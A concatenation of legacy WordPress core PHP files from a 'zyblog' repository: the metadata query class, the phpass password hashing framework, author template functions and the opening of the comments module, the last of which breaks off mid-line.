$meta_query_obj = new WP_Meta_Query( $meta_query ); return $meta_query_obj->get_sql( $type, $primary_table, $primary_id_column, $context ); } /** * Container class for a multiple metadata query * * @since 3.2.0 */ class WP_Meta_Query { /** * List of metadata queries. A single query is an associative array: * - 'key' string The meta key * - 'value' string|array The meta value * - 'compare' (optional) string How to compare the key to the value. * Possible values: '=', '!=', '>', '>=', '<', '<=', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN'. * Default: '=' * - 'type' string (optional) The type of the value. * Possible values: 'NUMERIC', 'BINARY', 'CHAR', 'DATE', 'DATETIME', 'DECIMAL', 'SIGNED', 'TIME', 'UNSIGNED'. * Default: 'CHAR' * * @since 3.2.0 * @access public * @var array */ public $queries = array(); /** * The relation between the queries. Can be one of 'AND' or 'OR'. * * @since 3.2.0 * @access public * @var string */ public $relation; /** * Constructor * * @param array $meta_query (optional) A meta query */ function __construct( $meta_query = false ) { if ( !$meta_query ) return; if ( isset( $meta_query['relation'] ) && strtoupper( $meta_query['relation'] ) == 'OR' ) { $this->relation = 'OR'; } else { $this->relation = 'AND'; } $this->queries = array(); foreach ( $meta_query as $key => $query ) { if ( ! is_array( $query ) ) continue; $this->queries[] = $query; } } /** * Constructs a meta query based on 'meta_*' query vars * * @since 3.2.0 * @access public * * @param array $qv The query variables */ function parse_query_vars( $qv ) { $meta_query = array(); // Simple query needs to be first for orderby=meta_value to work correctly foreach ( array( 'key', 'compare', 'type' ) as $key ) { if ( !empty( $qv[ "meta_$key" ] ) ) $meta_query[0][ $key ] = $qv[ "meta_$key" ]; } // WP_Query sets 'meta_value' = '' by default if ( isset( $qv[ 'meta_value' ] ) && '' !== $qv[ 'meta_value' ] ) $meta_query[0]['value'] = $qv[ 'meta_value' ]; if ( !empty( $qv['meta_query'] ) && is_array( $qv['meta_query'] ) ) { $meta_query = array_merge( $meta_query, $qv['meta_query'] ); } $this->__construct( $meta_query ); } /** * Generates SQL clauses to be appended to a main query. * * @since 3.2.0 * @access public * * @param string $type Type of meta * @param string $primary_table * @param string $primary_id_column * @param object $context (optional) The main query object * @return array( 'join' => $join_sql, 'where' => $where_sql ) */ function get_sql( $type, $primary_table, $primary_id_column, $context = null ) { global $wpdb; if ( ! $meta_table = _get_meta_table( $type ) ) return false; $meta_id_column = esc_sql( $type . '_id' ); $join = array(); $where = array(); $key_only_queries = array(); $queries = array(); // Split out the meta_key only queries (we can only do this for OR) if ( 'OR' == $this->relation ) { foreach ( $this->queries as $k => $q ) { if ( ! isset( $q['value'] ) && ! empty( $q['key'] ) ) $key_only_queries[$k] = $q; else $queries[$k] = $q; } } else { $queries = $this->queries; } // Specify all the meta_key only queries in one go if ( $key_only_queries ) { $join[] = "INNER JOIN $meta_table ON $primary_table.$primary_id_column = $meta_table.$meta_id_column"; foreach ( $key_only_queries as $key => $q ) $where["key-only-$key"] = $wpdb->prepare( "$meta_table.meta_key = %s", trim( $q['key'] ) ); } foreach ( $queries as $k => $q ) { $meta_key = isset( $q['key'] ) ? trim( $q['key'] ) : ''; $meta_type = isset( $q['type'] ) ? strtoupper( $q['type'] ) : 'CHAR'; if ( 'NUMERIC' == $meta_type ) $meta_type = 'SIGNED'; elseif ( ! in_array( $meta_type, array( 'BINARY', 'CHAR', 'DATE', 'DATETIME', 'DECIMAL', 'SIGNED', 'TIME', 'UNSIGNED' ) ) ) $meta_type = 'CHAR'; $meta_value = isset( $q['value'] ) ? $q['value'] : null; if ( isset( $q['compare'] ) ) $meta_compare = strtoupper( $q['compare'] ); else $meta_compare = is_array( $meta_value ) ? 'IN' : '='; if ( ! in_array( $meta_compare, array( '=', '!=', '>', '>=', '<', '<=', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN', 'NOT EXISTS' ) ) ) $meta_compare = '='; $i = count( $join ); $alias = $i ? 'mt' . $i : $meta_table; if ( 'NOT EXISTS' == $meta_compare ) { $join[$i] = "LEFT JOIN $meta_table"; $join[$i] .= $i ? " AS $alias" : ''; $join[$i] .= " ON ($primary_table.$primary_id_column = $alias.$meta_id_column AND $alias.meta_key = '$meta_key')"; $where[$k] = ' ' . $alias . '.' . $meta_id_column . ' IS NULL'; continue; } $join[$i] = "INNER JOIN $meta_table"; $join[$i] .= $i ? " AS $alias" : ''; $join[$i] .= " ON ($primary_table.$primary_id_column = $alias.$meta_id_column)"; $where[$k] = ''; if ( !empty( $meta_key ) ) $where[$k] = $wpdb->prepare( "$alias.meta_key = %s", $meta_key ); if ( is_null( $meta_value ) ) { if ( empty( $where[$k] ) ) unset( $join[$i] ); continue; } if ( in_array( $meta_compare, array( 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ) ) ) { if ( ! is_array( $meta_value ) ) $meta_value = preg_split( '/[,\s]+/', $meta_value ); if ( empty( $meta_value ) ) { unset( $join[$i] ); continue; } } else { $meta_value = trim( $meta_value ); } if ( 'IN' == substr( $meta_compare, -2) ) { $meta_compare_string = '(' . substr( str_repeat( ',%s', count( $meta_value ) ), 1 ) . ')'; } elseif ( 'BETWEEN' == substr( $meta_compare, -7) ) { $meta_value = array_slice( $meta_value, 0, 2 ); $meta_compare_string = '%s AND %s'; } elseif ( 'LIKE' == substr( $meta_compare, -4 ) ) { $meta_value = '%' . like_escape( $meta_value ) . '%'; $meta_compare_string = '%s'; } else { $meta_compare_string = '%s'; } if ( ! empty( $where[$k] ) ) $where[$k] .= ' AND '; $where[$k] = ' (' . $where[$k] . $wpdb->prepare( "CAST($alias.meta_value AS {$meta_type}) {$meta_compare} {$meta_compare_string})", $meta_value ); } $where = array_filter( $where ); if ( empty( $where ) ) $where = ''; else $where = ' AND (' . implode( "\n{$this->relation} ", $where ) . ' )'; $join = implode( "\n", $join ); if ( ! empty( $join ) ) $join = ' ' . $join; return apply_filters_ref_array( 'get_meta_sql', array( compact( 'join', 'where' ), $this->queries, $type, $primary_table, $primary_id_column, $context ) ); } } /** * Retrieve the name of the metadata table for the specified object type. * * @since 2.9.0 * @uses $wpdb WordPress database object for queries. * * @param string $type Type of object to get metadata table for (e.g., comment, post, or user) * @return mixed Metadata table name, or false if no metadata table exists */ function _get_meta_table($type) { global $wpdb; $table_name = $type . 'meta'; if ( empty($wpdb->$table_name) ) return false; return $wpdb->$table_name; } /** * Determine whether a meta key is protected * * @since 3.1.3 * * @param string $meta_key Meta key * @return bool True if the key is protected, false otherwise. */ function is_protected_meta( $meta_key, $meta_type = null ) { $protected = ( '_' == $meta_key[0] ); return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type ); } /** * Sanitize meta value * * @since 3.1.3 * * @param string $meta_key Meta key * @param mixed $meta_value Meta value to sanitize * @param string $meta_type Type of meta * @return mixed Sanitized $meta_value */ function sanitize_meta( $meta_key, $meta_value, $meta_type ) { return apply_filters( "sanitize_{$meta_type}_meta_{$meta_key}", $meta_value, $meta_key, $meta_type ); } /** * Register meta key * * @since 3.3.0 * * @param string $meta_type Type of meta * @param string $meta_key Meta key * @param string|array $sanitize_callback A function or method to call when sanitizing the value of $meta_key. * @param string|array $auth_callback Optional. A function or method to call when performing edit_post_meta, add_post_meta, and delete_post_meta capability checks. * @param array $args Arguments */ function register_meta( $meta_type, $meta_key, $sanitize_callback, $auth_callback = null ) { if ( is_callable( $sanitize_callback ) ) add_filter( "sanitize_{$meta_type}_meta_{$meta_key}", $sanitize_callback, 10, 3 ); if ( empty( $auth_callback ) ) { if ( is_protected_meta( $meta_key, $meta_type ) ) $auth_callback = '__return_false'; else $auth_callback = '__return_true'; } if ( is_callable( $auth_callback ) ) add_filter( "auth_{$meta_type}_meta_{$meta_key}", $auth_callback, 10, 6 ); }
zyblog
trunk/zyblog/wp-includes/meta.php
PHP
asf20
27,217
<?php /** * Portable PHP password hashing framework. * @package phpass * @since 2.5 * @version 0.3 / WordPress * @link http://www.openwall.com/phpass/ */ # # Written by Solar Designer <solar at openwall.com> in 2004-2006 and placed in # the public domain. Revised in subsequent years, still public domain. # # There's absolutely no warranty. # # Please be sure to update the Version line if you edit this file in any way. # It is suggested that you leave the main version number intact, but indicate # your project name (after the slash) and add your own revision information. # # Please do not change the "private" password hashing method implemented in # here, thereby making your hashes incompatible. However, if you must, please # change the hash type identifier (the "$P$") to something different. # # Obviously, since this code is in the public domain, the above are not # requirements (there can be none), but merely suggestions. # /** * Portable PHP password hashing framework. * * @package phpass * @version 0.3 / WordPress * @link http://www.openwall.com/phpass/ * @since 2.5 */ class PasswordHash { var $itoa64; var $iteration_count_log2; var $portable_hashes; var $random_state; function PasswordHash($iteration_count_log2, $portable_hashes) { $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31) $iteration_count_log2 = 8; $this->iteration_count_log2 = $iteration_count_log2; $this->portable_hashes = $portable_hashes; $this->random_state = microtime() . uniqid(rand(), TRUE); // removed getmypid() for compatibility reasons } function get_random_bytes($count) { $output = ''; if ( @is_readable('/dev/urandom') && ($fh = @fopen('/dev/urandom', 'rb'))) { $output = fread($fh, $count); fclose($fh); } if (strlen($output) < $count) { $output = ''; for ($i = 0; $i < $count; $i += 16) { $this->random_state = md5(microtime() . $this->random_state); $output .= pack('H*', md5($this->random_state)); } $output = substr($output, 0, $count); } return $output; } function encode64($input, $count) { $output = ''; $i = 0; do { $value = ord($input[$i++]); $output .= $this->itoa64[$value & 0x3f]; if ($i < $count) $value |= ord($input[$i]) << 8; $output .= $this->itoa64[($value >> 6) & 0x3f]; if ($i++ >= $count) break; if ($i < $count) $value |= ord($input[$i]) << 16; $output .= $this->itoa64[($value >> 12) & 0x3f]; if ($i++ >= $count) break; $output .= $this->itoa64[($value >> 18) & 0x3f]; } while ($i < $count); return $output; } function gensalt_private($input) { $output = '$P$'; $output .= $this->itoa64[min($this->iteration_count_log2 + ((PHP_VERSION >= '5') ? 5 : 3), 30)]; $output .= $this->encode64($input, 6); return $output; } function crypt_private($password, $setting) { $output = '*0'; if (substr($setting, 0, 2) == $output) $output = '*1'; $id = substr($setting, 0, 3); # We use "$P$", phpBB3 uses "$H$" for the same thing if ($id != '$P$' && $id != '$H$') return $output; $count_log2 = strpos($this->itoa64, $setting[3]); if ($count_log2 < 7 || $count_log2 > 30) return $output; $count = 1 << $count_log2; $salt = substr($setting, 4, 8); if (strlen($salt) != 8) return $output; # We're kind of forced to use MD5 here since it's the only # cryptographic primitive available in all versions of PHP # currently in use. To implement our own low-level crypto # in PHP would result in much worse performance and # consequently in lower iteration counts and hashes that are # quicker to crack (by non-PHP code). if (PHP_VERSION >= '5') { $hash = md5($salt . $password, TRUE); do { $hash = md5($hash . $password, TRUE); } while (--$count); } else { $hash = pack('H*', md5($salt . $password)); do { $hash = pack('H*', md5($hash . $password)); } while (--$count); } $output = substr($setting, 0, 12); $output .= $this->encode64($hash, 16); return $output; } function gensalt_extended($input) { $count_log2 = min($this->iteration_count_log2 + 8, 24); # This should be odd to not reveal weak DES keys, and the # maximum valid value is (2**24 - 1) which is odd anyway. $count = (1 << $count_log2) - 1; $output = '_'; $output .= $this->itoa64[$count & 0x3f]; $output .= $this->itoa64[($count >> 6) & 0x3f]; $output .= $this->itoa64[($count >> 12) & 0x3f]; $output .= $this->itoa64[($count >> 18) & 0x3f]; $output .= $this->encode64($input, 3); return $output; } function gensalt_blowfish($input) { # This one needs to use a different order of characters and a # different encoding scheme from the one in encode64() above. # We care because the last character in our encoded string will # only represent 2 bits. While two known implementations of # bcrypt will happily accept and correct a salt string which # has the 4 unused bits set to non-zero, we do not want to take # chances and we also do not want to waste an additional byte # of entropy. $itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $output = '$2a$'; $output .= chr(ord('0') + $this->iteration_count_log2 / 10); $output .= chr(ord('0') + $this->iteration_count_log2 % 10); $output .= '$'; $i = 0; do { $c1 = ord($input[$i++]); $output .= $itoa64[$c1 >> 2]; $c1 = ($c1 & 0x03) << 4; if ($i >= 16) { $output .= $itoa64[$c1]; break; } $c2 = ord($input[$i++]); $c1 |= $c2 >> 4; $output .= $itoa64[$c1]; $c1 = ($c2 & 0x0f) << 2; $c2 = ord($input[$i++]); $c1 |= $c2 >> 6; $output .= $itoa64[$c1]; $output .= $itoa64[$c2 & 0x3f]; } while (1); return $output; } function HashPassword($password) { $random = ''; if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) { $random = $this->get_random_bytes(16); $hash = crypt($password, $this->gensalt_blowfish($random)); if (strlen($hash) == 60) return $hash; } if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) { if (strlen($random) < 3) $random = $this->get_random_bytes(3); $hash = crypt($password, $this->gensalt_extended($random)); if (strlen($hash) == 20) return $hash; } if (strlen($random) < 6) $random = $this->get_random_bytes(6); $hash = $this->crypt_private($password, $this->gensalt_private($random)); if (strlen($hash) == 34) return $hash; # Returning '*' on error is safe here, but would _not_ be safe # in a crypt(3)-like function used _both_ for generating new # hashes and for validating passwords against existing hashes. return '*'; } function CheckPassword($password, $stored_hash) { $hash = $this->crypt_private($password, $stored_hash); if ($hash[0] == '*') $hash = crypt($password, $stored_hash); return $hash == $stored_hash; } } ?>
zyblog
trunk/zyblog/wp-includes/class-phpass.php
PHP
asf20
6,991
<?php /** * Author Template functions for use in themes. * * These functions must be used within the WordPress Loop. * * @link http://codex.wordpress.org/Author_Templates * * @package WordPress * @subpackage Template */ /** * Retrieve the author of the current post. * * @since 1.5 * @uses $authordata The current author's DB object. * @uses apply_filters() Calls 'the_author' hook on the author display name. * * @param string $deprecated Deprecated. * @return string The author's display name. */ function get_the_author($deprecated = '') { global $authordata; if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '2.1' ); return apply_filters('the_author', is_object($authordata) ? $authordata->display_name : null); } /** * Display the name of the author of the current post. * * The behavior of this function is based off of old functionality predating * get_the_author(). This function is not deprecated, but is designed to echo * the value from get_the_author() and as an result of any old theme that might * still use the old behavior will also pass the value from get_the_author(). * * The normal, expected behavior of this function is to echo the author and not * return it. However, backwards compatibility has to be maintained. * * @since 0.71 * @see get_the_author() * @link http://codex.wordpress.org/Template_Tags/the_author * * @param string $deprecated Deprecated. * @param string $deprecated_echo Deprecated. Use get_the_author(). Echo the string or return it. * @return string The author's display name, from get_the_author(). */ function the_author( $deprecated = '', $deprecated_echo = true ) { if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '2.1' ); if ( $deprecated_echo !== true ) _deprecated_argument( __FUNCTION__, '1.5', __('Use <code>get_the_author()</code> instead if you do not want the value echoed.') ); if ( $deprecated_echo ) echo get_the_author(); return get_the_author(); } /** * Retrieve the author who last edited the current post. * * @since 2.8 * @uses $post The current post's DB object. * @uses get_post_meta() Retrieves the ID of the author who last edited the current post. * @uses get_userdata() Retrieves the author's DB object. * @uses apply_filters() Calls 'the_modified_author' hook on the author display name. * @return string The author's display name. */ function get_the_modified_author() { if ( $last_id = get_post_meta( get_post()->ID, '_edit_last', true) ) { $last_user = get_userdata($last_id); return apply_filters('the_modified_author', $last_user->display_name); } } /** * Display the name of the author who last edited the current post. * * @since 2.8 * @see get_the_author() * @return string The author's display name, from get_the_modified_author(). */ function the_modified_author() { echo get_the_modified_author(); } /** * Retrieve the requested data of the author of the current post. * @link http://codex.wordpress.org/Template_Tags/the_author_meta * @since 2.8.0 * @uses $authordata The current author's DB object (if $user_id not specified). * @param string $field selects the field of the users record. * @param int $user_id Optional. User ID. * @return string The author's field from the current author's DB object. */ function get_the_author_meta( $field = '', $user_id = false ) { if ( ! $user_id ) { global $authordata; $user_id = isset( $authordata->ID ) ? $authordata->ID : 0; } else { $authordata = get_userdata( $user_id ); } if ( in_array( $field, array( 'login', 'pass', 'nicename', 'email', 'url', 'registered', 'activation_key', 'status' ) ) ) $field = 'user_' . $field; $value = isset( $authordata->$field ) ? $authordata->$field : ''; return apply_filters( 'get_the_author_' . $field, $value, $user_id ); } /** * Retrieve the requested data of the author of the current post. * @link http://codex.wordpress.org/Template_Tags/the_author_meta * @since 2.8.0 * @param string $field selects the field of the users record. * @param int $user_id Optional. User ID. * @echo string The author's field from the current author's DB object. */ function the_author_meta($field = '', $user_id = false) { echo apply_filters('the_author_' . $field, get_the_author_meta($field, $user_id), $user_id); } /** * Retrieve either author's link or author's name. * * If the author has a home page set, return an HTML link, otherwise just return the * author's name. * * @uses get_the_author_meta() * @uses get_the_author() */ function get_the_author_link() { if ( get_the_author_meta('url') ) { return '<a href="' . get_the_author_meta('url') . '" title="' . esc_attr( sprintf(__("Visit %s&#8217;s website"), get_the_author()) ) . '" rel="author external">' . get_the_author() . '</a>'; } else { return get_the_author(); } } /** * Display either author's link or author's name. * * If the author has a home page set, echo an HTML link, otherwise just echo the * author's name. * * @link http://codex.wordpress.org/Template_Tags/the_author_link * @since 2.1 * @uses get_the_author_link() */ function the_author_link() { echo get_the_author_link(); } /** * Retrieve the number of posts by the author of the current post. * * @since 1.5 * @uses $post The current post in the Loop's DB object. * @uses count_user_posts() * @return int The number of posts by the author. */ function get_the_author_posts() { return count_user_posts( get_post()->post_author ); } /** * Display the number of posts by the author of the current post. * * @link http://codex.wordpress.org/Template_Tags/the_author_posts * @since 0.71 * @uses get_the_author_posts() Echoes returned value from function. */ function the_author_posts() { echo get_the_author_posts(); } /** * Display an HTML link to the author page of the author of the current post. * * Does just echo get_author_posts_url() function, like the others do. The * reason for this, is that another function is used to help in printing the * link to the author's posts. * * @link http://codex.wordpress.org/Template_Tags/the_author_posts_link * @since 1.2.0 * @uses $authordata The current author's DB object. * @uses get_author_posts_url() * @uses get_the_author() * @param string $deprecated Deprecated. */ function the_author_posts_link($deprecated = '') { if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '2.1' ); global $authordata; if ( !is_object( $authordata ) ) return false; $link = sprintf( '<a href="%1$s" title="%2$s" rel="author">%3$s</a>', get_author_posts_url( $authordata->ID, $authordata->user_nicename ), esc_attr( sprintf( __( 'Posts by %s' ), get_the_author() ) ), get_the_author() ); echo apply_filters( 'the_author_posts_link', $link ); } /** * Retrieve the URL to the author page for the user with the ID provided. * * @since 2.1.0 * @uses $wp_rewrite WP_Rewrite * @return string The URL to the author's page. */ function get_author_posts_url($author_id, $author_nicename = '') { global $wp_rewrite; $auth_ID = (int) $author_id; $link = $wp_rewrite->get_author_permastruct(); if ( empty($link) ) { $file = home_url( '/' ); $link = $file . '?author=' . $auth_ID; } else { if ( '' == $author_nicename ) { $user = get_userdata($author_id); if ( !empty($user->user_nicename) ) $author_nicename = $user->user_nicename; } $link = str_replace('%author%', $author_nicename, $link); $link = home_url( user_trailingslashit( $link ) ); } $link = apply_filters('author_link', $link, $author_id, $author_nicename); return $link; } /** * List all the authors of the blog, with several options available. * * <ul> * <li>optioncount (boolean) (false): Show the count in parenthesis next to the * author's name.</li> * <li>exclude_admin (boolean) (true): Exclude the 'admin' user that is * installed bydefault.</li> * <li>show_fullname (boolean) (false): Show their full names.</li> * <li>hide_empty (boolean) (true): Don't show authors without any posts.</li> * <li>feed (string) (''): If isn't empty, show links to author's feeds.</li> * <li>feed_image (string) (''): If isn't empty, use this image to link to * feeds.</li> * <li>echo (boolean) (true): Set to false to return the output, instead of * echoing.</li> * <li>style (string) ('list'): Whether to display list of authors in list form * or as a string.</li> * <li>html (bool) (true): Whether to list the items in html form or plaintext. * </li> * </ul> * * @link http://codex.wordpress.org/Template_Tags/wp_list_authors * @since 1.2.0 * @param array $args The argument array. * @return null|string The output, if echo is set to false. */ function wp_list_authors($args = '') { global $wpdb; $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'number' => '', 'optioncount' => false, 'exclude_admin' => true, 'show_fullname' => false, 'hide_empty' => true, 'feed' => '', 'feed_image' => '', 'feed_type' => '', 'echo' => true, 'style' => 'list', 'html' => true ); $args = wp_parse_args( $args, $defaults ); extract( $args, EXTR_SKIP ); $return = ''; $query_args = wp_array_slice_assoc( $args, array( 'orderby', 'order', 'number' ) ); $query_args['fields'] = 'ids'; $authors = get_users( $query_args ); $author_count = array(); foreach ( (array) $wpdb->get_results("SELECT DISTINCT post_author, COUNT(ID) AS count FROM $wpdb->posts WHERE post_type = 'post' AND " . get_private_posts_cap_sql( 'post' ) . " GROUP BY post_author") as $row ) $author_count[$row->post_author] = $row->count; foreach ( $authors as $author_id ) { $author = get_userdata( $author_id ); if ( $exclude_admin && 'admin' == $author->display_name ) continue; $posts = isset( $author_count[$author->ID] ) ? $author_count[$author->ID] : 0; if ( !$posts && $hide_empty ) continue; $link = ''; if ( $show_fullname && $author->first_name && $author->last_name ) $name = "$author->first_name $author->last_name"; else $name = $author->display_name; if ( !$html ) { $return .= $name . ', '; continue; // No need to go further to process HTML. } if ( 'list' == $style ) { $return .= '<li>'; } $link = '<a href="' . get_author_posts_url( $author->ID, $author->user_nicename ) . '" title="' . esc_attr( sprintf(__("Posts by %s"), $author->display_name) ) . '">' . $name . '</a>'; if ( !empty( $feed_image ) || !empty( $feed ) ) { $link .= ' '; if ( empty( $feed_image ) ) { $link .= '('; } $link .= '<a href="' . get_author_feed_link( $author->ID ) . '"'; $alt = $title = ''; if ( !empty( $feed ) ) { $title = ' title="' . esc_attr( $feed ) . '"'; $alt = ' alt="' . esc_attr( $feed ) . '"'; $name = $feed; $link .= $title; } $link .= '>'; if ( !empty( $feed_image ) ) $link .= '<img src="' . esc_url( $feed_image ) . '" style="border: none;"' . $alt . $title . ' />'; else $link .= $name; $link .= '</a>'; if ( empty( $feed_image ) ) $link .= ')'; } if ( $optioncount ) $link .= ' ('. $posts . ')'; $return .= $link; $return .= ( 'list' == $style ) ? '</li>' : ', '; } $return = rtrim($return, ', '); if ( !$echo ) return $return; echo $return; } /** * Does this site have more than one author * * Checks to see if more than one author has published posts. * * @since 3.2.0 * @return bool Whether or not we have more than one author */ function is_multi_author() { global $wpdb; if ( false === ( $is_multi_author = wp_cache_get('is_multi_author', 'posts') ) ) { $rows = (array) $wpdb->get_col("SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 2"); $is_multi_author = 1 < count( $rows ) ? 1 : 0; wp_cache_set('is_multi_author', $is_multi_author, 'posts'); } return apply_filters( 'is_multi_author', (bool) $is_multi_author ); } /** * Helper function to clear the cache for number of authors. * * @private */ function __clear_multi_author_cache() { wp_cache_delete('is_multi_author', 'posts'); } add_action('transition_post_status', '__clear_multi_author_cache');
zyblog
trunk/zyblog/wp-includes/author-template.php
PHP
asf20
12,156
<?php /** * Manages WordPress comments * * @package WordPress * @subpackage Comment */ /** * Checks whether a comment passes internal checks to be allowed to add. * * If comment moderation is set in the administration, then all comments, * regardless of their type and whitelist will be set to false. If the number of * links exceeds the amount in the administration, then the check fails. If any * of the parameter contents match the blacklist of words, then the check fails. * * If the number of links exceeds the amount in the administration, then the * check fails. If any of the parameter contents match the blacklist of words, * then the check fails. * * If the comment author was approved before, then the comment is * automatically whitelisted. * * If none of the checks fail, then the failback is to set the check to pass * (return true). * * @since 1.2.0 * @uses $wpdb * * @param string $author Comment Author's name * @param string $email Comment Author's email * @param string $url Comment Author's URL * @param string $comment Comment contents * @param string $user_ip Comment Author's IP address * @param string $user_agent Comment Author's User Agent * @param string $comment_type Comment type, either user submitted comment, * trackback, or pingback * @return bool Whether the checks passed (true) and the comments should be * displayed or set to moderated */ function check_comment($author, $email, $url, $comment, $user_ip, $user_agent, $comment_type) { global $wpdb; if ( 1 == get_option('comment_moderation') ) return false; // If moderation is set to manual $comment = apply_filters( 'comment_text', $comment ); // Check # of external links if ( $max_links = get_option( 'comment_max_links' ) ) { $num_links = preg_match_all( '/<a [^>]*href/i', $comment, $out ); $num_links = apply_filters( 'comment_max_links_url', $num_links, $url ); // provide for counting of $url as a link if ( $num_links >= $max_links ) return false; } $mod_keys = trim(get_option('moderation_keys')); if ( !empty($mod_keys) ) { $words = explode("\n", $mod_keys ); foreach ( (array) $words as $word) { $word = trim($word); // Skip empty lines if ( empty($word) ) continue; // Do some escaping magic so that '#' chars in the // spam words don't break things: $word = preg_quote($word, '#'); $pattern = "#$word#i"; if ( preg_match($pattern, $author) ) return false; if ( preg_match($pattern, $email) ) return false; if ( preg_match($pattern, $url) ) return false; if ( preg_match($pattern, $comment) ) return false; if ( preg_match($pattern, $user_ip) ) return false; if ( preg_match($pattern, $user_agent) ) return false; } } // Comment whitelisting: if ( 1 == get_option('comment_whitelist')) { if ( 'trackback' != $comment_type && 'pingback' != $comment_type && $author != '' && $email != '' ) { // expected_slashed ($author, $email) $ok_to_comment = $wpdb->get_var("SELECT comment_approved FROM $wpdb->comments WHERE comment_author = '$author' AND comment_author_email = '$email' and comment_approved = '1' LIMIT 1"); if ( ( 1 == $ok_to_comment ) && ( empty($mod_keys) || false === strpos( $email, $mod_keys) ) ) return true; else return false; } else { return false; } } return true; } /** * Retrieve the approved comments for post $post_id. * * @since 2.0.0 * @uses $wpdb * * @param int $post_id The ID of the post * @return array $comments The approved comments */ function get_approved_comments($post_id) { global $wpdb; return $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved = '1' ORDER BY comment_date", $post_id)); } /** * Retrieves comment data given a comment ID or comment object. * * If an object is passed then the comment data will be cached and then returned * after being passed through a filter. If the comment is empty, then the global * comment variable will be used, if it is set. * * If the comment is empty, then the global comment variable will be used, if it * is set. * * @since 2.0.0 * @uses $wpdb * * @param object|string|int $comment Comment to retrieve. * @param string $output Optional. OBJECT or ARRAY_A or ARRAY_N constants. * @return object|array|null Depends on $output value. */ function get_comment(&$comment, $output = OBJECT) { global $wpdb; $null = null; if ( empty($comment) ) { if ( isset($GLOBALS['comment']) ) $_comment = & $GLOBALS['comment']; else $_comment = null; } elseif ( is_object($comment) ) { wp_cache_add($comment->comment_ID, $comment, 'comment'); $_comment = $comment; } else { if ( isset($GLOBALS['comment']) && ($GLOBALS['comment']->comment_ID == $comment) ) { $_comment = & $GLOBALS['comment']; } elseif ( ! $_comment = wp_cache_get($comment, 'comment') ) { $_comment = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_ID = %d LIMIT 1", $comment)); if ( ! $_comment ) return $null; wp_cache_add($_comment->comment_ID, $_comment, 'comment'); } } $_comment = apply_filters('get_comment', $_comment); if ( $output == OBJECT ) { return $_comment; } elseif ( $output == ARRAY_A ) { $__comment = get_object_vars($_comment); return $__comment; } elseif ( $output == ARRAY_N ) { $__comment = array_values(get_object_vars($_comment)); return $__comment; } else { return $_comment; } } /** * Retrieve a list of comments. * * The comment list can be for the blog as a whole or for an individual post. * * The list of comment arguments are 'status', 'orderby', 'comment_date_gmt', * 'order', 'number', 'offset', and 'post_id'. * * @since 2.7.0 * @uses $wpdb * * @param mixed $args Optional. Array or string of options to override defaults. * @return array List of comments. */ function get_comments( $args = '' ) { $query = new WP_Comment_Query; return $query->query( $args ); } /** * WordPress Comment Query class. * * @since 3.1.0 */ class WP_Comment_Query { /** * Metadata query container * * @since 3.5.0 * @access public * @var object WP_Meta_Query */ var $meta_query = false; /** * Execute the query * * @since 3.1.0 * * @param string|array $query_vars * @return int|array */ function query( $query_vars ) { global $wpdb; $defaults = array( 'author_email' => '', 'ID' => '', 'karma' => '', 'number' => '', 'offset' => '', 'orderby' => '', 'order' => 'DESC', 'parent' => '', 'post_ID' => '', 'post_id' => 0, 'post_author' => '', 'post_name' => '', 'post_parent' => '', 'post_status' => '', 'post_type' => '', 'status' => '', 'type' => '', 'user_id' => '', 'search' => '', 'count' => false, 'meta_key' => '', 'meta_value' => '', 'meta_query' => '', ); $groupby = ''; $this->query_vars = wp_parse_args( $query_vars, $defaults ); // Parse meta query $this->meta_query = new WP_Meta_Query(); $this->meta_query->parse_query_vars( $this->query_vars ); do_action_ref_array( 'pre_get_comments', array( &$this ) ); extract( $this->query_vars, EXTR_SKIP ); // $args can be whatever, only use the args defined in defaults to compute the key $key = md5( serialize( compact(array_keys($defaults)) ) ); $last_changed = wp_cache_get( 'last_changed', 'comment' ); if ( ! $last_changed ) $last_changed = wp_cache_set( 'last_changed', 1, 'comment' ); $cache_key = "get_comments:$key:$last_changed"; if ( $cache = wp_cache_get( $cache_key, 'comment' ) ) return $cache; $post_id = absint($post_id); if ( 'hold' == $status ) $approved = "comment_approved = '0'"; elseif ( 'approve' == $status ) $approved = "comment_approved = '1'"; elseif ( ! empty( $status ) && 'all' != $status ) $approved = $wpdb->prepare( "comment_approved = %s", $status ); else $approved = "( comment_approved = '0' OR comment_approved = '1' )"; $order = ( 'ASC' == strtoupper($order) ) ? 'ASC' : 'DESC'; if ( ! empty( $orderby ) ) { $ordersby = is_array($orderby) ? $orderby : preg_split('/[,\s]/', $orderby); $allowed_keys = array( 'comment_agent', 'comment_approved', 'comment_author', 'comment_author_email', 'comment_author_IP', 'comment_author_url', 'comment_content', 'comment_date', 'comment_date_gmt', 'comment_ID', 'comment_karma', 'comment_parent', 'comment_post_ID', 'comment_type', 'user_id', ); if ( ! empty( $this->query_vars['meta_key'] ) ) { $allowed_keys[] = $q['meta_key']; $allowed_keys[] = 'meta_value'; $allowed_keys[] = 'meta_value_num'; } $ordersby = array_intersect( $ordersby, $allowed_keys ); foreach ( $ordersby as $key => $value ) { if ( $value == $q['meta_key'] || $value == 'meta_value' ) { $ordersby[ $key ] = "$wpdb->commentmeta.meta_value"; } elseif ( $value == 'meta_value_num' ) { $ordersby[ $key ] = "$wpdb->commentmeta.meta_value+0"; } } $orderby = empty( $ordersby ) ? 'comment_date_gmt' : implode(', ', $ordersby); } else { $orderby = 'comment_date_gmt'; } $number = 